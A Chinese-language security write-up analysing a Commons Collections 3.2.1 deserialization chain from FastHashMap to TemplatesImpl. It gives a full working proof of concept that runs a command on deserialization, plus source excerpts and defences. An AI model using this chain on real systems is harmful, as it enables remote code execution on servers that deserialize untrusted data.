从FastHashMap到TemplatesImpl
字数 1819 2025-08-24 20:49:22
FastHashMap到TemplatesImpl利用链分析
前言
本文详细分析Apache Commons Collections 3.2.1版本中从FastHashMap到TemplatesImpl的利用链,该链结合了FastHashMap、DefaultedMap、FactoryTransformer和InstantiateFactory等组件,最终通过TemplatesImpl实现任意代码执行。
环境准备
- Apache Commons Collections 3.2.1
- JDK环境(需要包含com.sun.org.apache.xalan.internal.xsltc相关类)
- Javassist库(用于动态生成恶意类)
漏洞复现代码
package CC;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class CCD {
public static void main(String[] args) throws Exception {
// 使用Javassist生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass STU = pool.makeClass("T0WN");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
STU.makeClassInitializer().insertBefore(cmd);
STU.setSuperclass(pool.get(AbstractTranslet.class.getName()));
STU.writeFile();
byte[] classBytes = STU.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_name","DawnT0wn");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",targetByteCodes);
// 构造InstantiateFactory
InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class,
new Class[]{Templates.class}, new Object[]{templates});
// 构造FactoryTransformer
FactoryTransformer transformer = new FactoryTransformer(factory);
// 构造DefaultedMap
HashMap tmp = new HashMap();
tmp.put("zZ", "d");
DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);
// 构造FastHashMap
FastHashMap fastHashMap1 = new FastHashMap();
fastHashMap1.put("yy","d");
// 构造Hashtable并修改键值
Hashtable obj = new Hashtable();
obj.put("aa", "b");
obj.put(fastHashMap1, "1");
// 通过反射修改Hashtable中的键
Field field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
Object[] table = (Object[]) field.get(obj);
// 修改特定位置的键为DefaultedMap
Object node = table[2];
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
if (keyField.get(node) instanceof String){
keyField.set(node, map);
}
// 序列化和反序列化触发漏洞
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("CCD.bin"));
os.writeObject(obj);
ObjectInputStream fos = new ObjectInputStream(new FileInputStream("CCD.bin"));
fos.readObject();
}
public static void setFieldValue(Object obj,String filename,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(filename);
field.setAccessible(true);
field.set(obj,value);
}
}
利用链分析
完整的利用链如下:
Hashtable.readObject()
-> Hashtable.reconstitutionPut()
-> FastHashMap.equals()
-> DefaultedMap.get()
-> FactoryTransformer.transform()
-> InstantiateFactory.create()
-> TrAXFilter构造方法
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.defineTransletClasses()
-> 恶意类静态代码块执行
关键点解析
-
触发点选择:
- 使用Hashtable的readObject作为起点,因为它在反序列化时会调用reconstitutionPut方法
- 在reconstitutionPut中会调用equals方法比较键值
-
Hash碰撞问题:
- 需要确保FastHashMap和DefaultedMap的hashCode相同
- 通过构造
fastHashMap1.put("yy","d")和hashMap.put("zZ", "d")实现相同hashCode
-
反射修改键值:
- 直接put两个hashCode相同的键会导致程序在put阶段就抛出异常终止
- 通过反射修改Hashtable内部table数组中的键值对,绕过put阶段的检查
-
FastHashMap.equals():
- 当Hashtable比较键时会调用此方法
- 方法内部会调用另一个键的get方法
-
DefaultedMap.get():
- 当键不存在时,会调用装饰的Transformer
- 这里使用了FactoryTransformer
-
FactoryTransformer.transform():
- 调用内部iFactory的create方法
- 这里iFactory是InstantiateFactory实例
-
InstantiateFactory.create():
- 通过反射实例化TrAXFilter类
- 传入TemplatesImpl作为构造参数
-
TrAXFilter构造方法:
- 内部会调用TemplatesImpl.newTransformer()
-
TemplatesImpl.newTransformer():
- 最终触发恶意类加载和执行
技术细节
1. Hashtable的反序列化过程
Hashtable在反序列化时会调用readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取数据
s.defaultReadObject();
// 重建Hash表
int origlength = s.readInt();
int elements = s.readInt();
// 逐个放入元素
for (int i = 0; i < elements; i++) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
reconstitutionPut方法中关键代码:
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException {
// 计算hash
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
// 遍历链表
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
// 关键点:比较hash和equals
if ((e.hash == hash) && e.key.equals(key)) {
throw new StreamCorruptedException();
}
}
// 创建新Entry
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
2. FastHashMap.equals()方法
public boolean equals(Object o) {
if (o == this) return true;
if (!(o instanceof Map)) return false;
Map m = (Map) o;
if (m.size() != size()) return false;
// 关键点:会调用另一个键的get方法
for (Iterator it = keySet().iterator(); it.hasNext();) {
Object k = it.next();
if (!m.get(k).equals(get(k))) {
return false;
}
}
return true;
}
3. DefaultedMap.get()方法
public Object get(Object key) {
// 如果key不存在,则调用装饰的Transformer
if (!map.containsKey(key)) {
return value.transform(key);
}
return map.get(key);
}
4. FactoryTransformer.transform()方法
public Object transform(Object input) {
return this.iFactory.create();
}
5. InstantiateFactory.create()方法
public Object create() {
try {
return iConstructor.newInstance(iArgs);
} catch (Exception e) {
throw new FunctorException("InstantiateFactory: Constructor threw an exception", e);
}
}
关键问题解决
-
为什么需要反射修改键值:
- 直接put两个hashCode相同的键会导致在put阶段就抛出异常
- 通过反射可以绕过put阶段的检查,在反序列化时才触发equals调用
-
索引位置确定:
- Hashtable内部使用table数组存储键值对
- 索引位置由
(hash & 0x7FFFFFFF) % tab.length计算得出 - 需要调试确定具体位置,通常为2(但可能因环境不同而变化)
-
顺序问题:
- 在Hashtable中,键值对的顺序由hashCode决定
- 通过构造相同的hashCode可以确保比较顺序
防御措施
- 升级Apache Commons Collections到安全版本
- 使用Java反序列化过滤器(JEP 290)
- 禁止反序列化不可信数据
参考链接
- 使用CodeQL CHA调用图分析寻找新的CC链
- Apache Commons Collections官方安全公告
总结
该利用链通过巧妙组合FastHashMap、DefaultedMap和FactoryTransformer等组件,利用Hashtable反序列化时的equals比较机制,最终触发TemplatesImpl加载恶意字节码。相比传统CC链,该链采用了反射修改键值的新技术,绕过了传统利用方式中的限制条件,展示了Java反序列化漏洞利用的灵活性。